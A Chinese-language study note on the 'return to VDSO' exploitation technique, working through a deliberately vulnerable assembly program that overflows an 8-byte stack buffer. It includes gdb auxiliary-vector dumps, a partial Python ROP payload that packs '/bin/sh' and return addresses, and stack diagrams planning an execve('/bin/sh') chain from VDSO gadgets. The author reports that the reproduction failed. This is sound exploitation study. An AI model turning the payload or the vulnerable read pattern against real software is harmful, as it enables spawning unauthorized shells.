1 概述
本文是这篇文章的笔记:
Return to VDSO using ELF Auxiliary Vectors
https://v0ids3curity.blogspot.jp/2014/12/return-to-vdso-using-elf-auxiliary.html
2 代码
section .text global _start jmp _start vuln: sub rsp, 8 mov rax, 0 ; sys_read mov rdi, 0 mov rsi, rsp mov rdx, 1024 syscall add rsp, 8 ret _start: call vuln mov rax, 60 ; sys_exit xor rdi, rdi syscall |
ld hello.o -o hello
objdump -D hello
3 EXP
3.1Auxv调试
#include <sys/auxv.h>
unsigned long getauxval(unsigned long type);
[8] | sub rsp 8 |
addr_of_sys_exit | mov rax, 60 ; sys_exit xor rdi, rdi syscall |
argc |
|
argv[0] |
|
argv[1] |
|
envp[28] |
|
auxv[40] |
|
millionsky@ubuntu-16:~/tmp/return-to-vdso$ gdb ./a.out (gdb) b *0x400082 Breakpoint 1 at 0x400082 (gdb) r (gdb) disass $rip, +0x30 Dump of assembler code from 0x400082 to 0x4000b2: => 0x0000000000400082: sub $0x8,%rsp 0x0000000000400086: mov $0x0,%eax 0x000000000040008b: mov $0x0,%edi 0x0000000000400090: mov %rsp,%rsi 0x0000000000400093: mov $0x400,%edx 0x0000000000400098: syscall 0x000000000040009a: add $0x8,%rsp 0x000000000040009e: retq 0x000000000040009f: callq 0x400082 0x00000000004000a4: mov $0x3c,%eax 0x00000000004000a9: xor %rdi,%rdi 0x00000000004000ac: syscall 0x00000000004000ae: add %ch,(%rsi) 0x00000000004000b0: jae 0x40011a End of assembler dump. (gdb) si 0x0000000000400086 in ?? () (gdb) b *0x000000000040009e Breakpoint 2 at 0x40009e (gdb) c Continuing. AAAAAAAAAAAAAAAA
Breakpoint 2, 0x000000000040009e in ?? () (gdb) info auxv 33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x7ffff7ffd000 16 AT_HWCAP Machine-dependent CPU capability hints 0xfabfbff 6 AT_PAGESZ System page size 4096 17 AT_CLKTCK Frequency of times() 100 3 AT_PHDR Program headers for program 0x400040 4 AT_PHENT Size of program header entry 56 5 AT_PHNUM Number of program headers 1 7 AT_BASE Base address of interpreter 0x0 8 AT_FLAGS 标记 0x0 9 AT_ENTRY Entry point of program 0x40009f 11 AT_UID 真正用户id号 1000 12 AT_EUID Effective user ID 1000 13 AT_GID Real group ID 1000 14 AT_EGID Effective group ID 1000 23 AT_SECURE Boolean, was exec setuid-like? 0 25 AT_RANDOM Address of 16 random bytes 0x7fffffffe699 26 AT_HWCAP2 Extension of AT_HWCAP 0x0 31 AT_EXECFN File name of executable 0x7fffffffefce "/home/millionsky/tmp/return-to-vdso/a.out" 15 AT_PLATFORM String identifying platform 0x7fffffffe6a9 "x86_64" 0 AT_NULL End of vector 0x0
(gdb) x/72gx $rsp 0x7fffffffe458: 0x4141414141414141 0x000000000000000a main参数 0x7fffffffe468: 0x00007fffffffe6b0 0x0000000000000000 0x7fffffffe478: 0x00007fffffffe6da 0x00007fffffffe6ed 0x7fffffffe488: 0x00007fffffffe6fd 0x00007fffffffe708 0x7fffffffe498: 0x00007fffffffe736 0x00007fffffffe757 0x7fffffffe4a8: 0x00007fffffffe76b 0x00007fffffffe77b 0x7fffffffe4b8: 0x00007fffffffe7a5 0x00007fffffffed2d 0x7fffffffe4c8: 0x00007fffffffed39 0x00007fffffffedf3 0x7fffffffe4d8: 0x00007fffffffee0d 0x00007fffffffee1c 0x7fffffffe4e8: 0x00007fffffffee3d 0x00007fffffffee65 0x7fffffffe4f8: 0x00007fffffffee8c 0x00007fffffffee9d 0x7fffffffe508: 0x00007fffffffeea6 0x00007fffffffeebc 0x7fffffffe518: 0x00007fffffffeec4 0x00007fffffffeed6 0x7fffffffe528: 0x00007fffffffeee9 0x00007fffffffef1b 0x7fffffffe538: 0x00007fffffffef6d 0x00007fffffffef8d 0x7fffffffe548: 0x00007fffffffefac 0x0000000000000000 0x7fffffffe558: 0x0000000000000021 0x00007ffff7ffd000 auxv 0x7fffffffe568: 0x0000000000000010 0x000000000fabfbff 0x7fffffffe578: 0x0000000000000006 0x0000000000001000 0x7fffffffe588: 0x0000000000000011 0x0000000000000064 0x7fffffffe598: 0x0000000000000003 0x0000000000400040 0x7fffffffe5a8: 0x0000000000000004 0x0000000000000038 0x7fffffffe5b8: 0x0000000000000005 0x0000000000000001 0x7fffffffe5c8: 0x0000000000000007 0x0000000000000000 0x7fffffffe5d8: 0x0000000000000008 0x0000000000000000 0x7fffffffe5e8: 0x0000000000000009 0x000000000040009f 0x7fffffffe5f8: 0x000000000000000b 0x00000000000003e8 0x7fffffffe608: 0x000000000000000c 0x00000000000003e8 0x7fffffffe618: 0x000000000000000d 0x00000000000003e8 0x7fffffffe628: 0x000000000000000e 0x00000000000003e8 0x7fffffffe638: 0x0000000000000017 0x0000000000000000 0x7fffffffe648: 0x0000000000000019 0x00007fffffffe699 0x7fffffffe658: 0x000000000000001a 0x0000000000000000 0x7fffffffe668: 0x000000000000001f 0x00007fffffffefce 0x7fffffffe678: 0x000000000000000f 0x00007fffffffe6a9 0x7fffffffe688: 0x0000000000000000 0x0000000000000000 |
3.2 EXP分析--代码执行中的栈布局
1. 初始状态
RIP:L11/0x40098(sys_read之前)
栈布局
local_buf[1] | <=RSP |
Return addr | L17/0x400a4 |
argc |
|
argv[0] |
|
argv[1] |
|
envp[28] |
|
auxv[40] |
|
2. Sys_read
RIP: L13/4009e(sys_read执行完毕)
输入的数据:
payload = struct.pack("<Q", 0x0068732f6e69622f) # /bin/sh - we will use this during stage TWO
payload += struct.pack("<Q", 0x400082) # ret to sys_read
payload += struct.pack("<Q", 0x400098) # syscall to sys_write depending on RAX
payload += struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", 0x400082) # ret to sys_read
payload += chr(0xa)
soc.send(payload)
栈布局
local_buf[1] | local_buf[1] | /bin/sh\0 |
Return addr | Return addr | <=RSP |
argc | addr_of_syscall (sys_write) | 0x40098 |
argv[0] | PAD | AAAAAAAA |
argv[1] | addr_of_sys_read | 0x400082 |
envp[28] | envp[28] | Char[0] = 0x0a |
auxv[40] | auxv[40] |
|
3. Vuln()返回
RIP=0x40082 |
|
|
local_buf[1] | local_buf[1] | /bin/sh\0 |
Return addr | Return addr | 0x40082 |
argc | addr_of_syscall (sys_write) | <=RSP |
argv[0] | PAD | AAAAAAAA |
argv[1] | addr_of_sys_read | 0x400082 |
envp[28] | envp[28] | Char[0] = 0x0a |
auxv[40] | auxv[40] |
|
4. Sys_read
RIP: L13/4009e(sys_read执行完毕) | ||
local_buf[1] | local_buf[1] | /bin/sh\0 |
Return addr | Return addr | 0x40082 |
argc | addr_of_syscall | <=RSP |
argv[0] | PAD | AAAAAAAA |
argv[1] | addr_of_sys_read | 0x400082 |
envp[28] | envp[28] | Char[0] = 0x0a |
auxv[40] | auxv[40] |
|
5. Sys_write
RIP: L13/4009e(sys_write执行完毕) | ||
local_buf[1] | local_buf[1] | /bin/sh\0 |
Return addr | Return addr | 0x4000a |
argc | addr_of_syscall | 0x40098 |
argv[0] | PAD | AAAAAAAA |
argv[1] | addr_of_sys_read | 0x400082 |
envp[28] | envp[28] | Char[0] = 0x0a |
auxv[40] | auxv[40] |
|
6. Sys_read
RIP: L13/4009e(sys_read执行完毕) | ||
local_buf[1] | local_buf[1] | /bin/sh\0 |
Return addr | Return addr | 0x4000a |
argc | addr_of_syscall | 0x40098 |
argv[0] | PAD | AAAAAAAA |
argv[1] | PAD | AAAAAAAA |
envp[28] | GADGET_XOR_EDX | <=RSP |
auxv[40] | GADGET_EAX |
|
...... | GADGET_RDI |
|
...... | GADGET_RSI |
|
...... | GADGET_syscall |
|
3.3 EXP分析--需要注意的点
3.3.1 AT_RANDOM
AT_RANDOM指示16字节随机数的地址;
这个地址在附加向量的后面,环境字符串的前面;
对于确定的系统,可以通过这个地址计算栈中数据的地址
Ubuntu上GDB调试的结果:
auxv_start: 0x7fffffffe558
auxv_end : 0x7fffffffe698
AT_RANDOM : 0x00007fffffffe699 auxv结束后两个字节
原文中通过AT_RANDOM减去0x2b9后得到了/bin/sh的地址;
实际上通过文中显示的地址,减去0x2b9指向的是argc,减去0x2c9才是/bin/sh的地址;这一点比较困惑(PS:GDB调试的和实际运行的有差异)。
3.3.2 write(0, buf, 1024)
stdin描述符不是只读的,它和stdout指向相同的字符设备,可以写入。
因此
write(0, buf, 1024)
也会写入标准输出
3.3.3 Gadget
execve('/bin/sh',0,0);
RAX EXECVE
RDI /bin/sh
RSI NULL
RDX NULL
原文中测试的系统是
[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
验证的时候使用的是Ubuntu 16.04 64
没有在VDSO中找到对应的gadget来构造execve系统调用。
3.4 EXP
4 结论
Return to vdso由于环境不一致,没有复现成功,但原理理解了。同时通过调试有以下收获:
1. VDSO中的代码可供利用。
2. 附加向量中的AT_RANDOM指示栈中16字节随机数的地址。在栈中位于附加向量的后面,环境字符串的前面。可以通过这个地址计算栈中数据的地址。
3. stdin描述符不是只读的,它和stdout指向相同的字符设备,可以写入。
因此
write(0, buf, 1024)
也会写入标准输出
5 参考文章
1. Return to VDSO using ELF Auxiliary Vectors。https://v0ids3curity.blogspot.jp/2014/12/return-to-vdso-using-elf-auxiliary.html。